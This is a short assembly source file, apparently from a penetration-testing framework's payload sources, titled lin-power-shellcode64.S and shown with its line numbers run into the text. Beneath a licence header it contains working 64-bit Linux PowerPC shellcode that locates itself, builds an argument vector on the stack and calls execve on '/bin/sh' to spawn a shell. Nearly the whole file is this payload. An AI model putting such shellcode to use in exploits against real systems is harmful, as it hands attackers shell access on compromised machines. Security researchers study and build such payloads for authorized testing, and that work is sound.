Path: blob/master/external/source/unixasm/lin-power-shellcode64.S
24699 views
/*1* lin-power-shellcode64.S2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920#include "linux-power.h"2122.globl main2324main:2526shellcode64:27lil %r31,__CAL28xor. %r5,%r5,%r529bnel shellcode6430mflr %r3031cal %r30,511(%r30)32cal %r3,-511+36(%r30)33stb %r5,-511+43(%r30)34stdu %r5,-8(%r1)35stdu %r3,-8(%r1)36mr %r4,%r137cal %r0,__NC_execve(%r31)38.long 0x44ffff0239.asciz "/bin/sh"40414243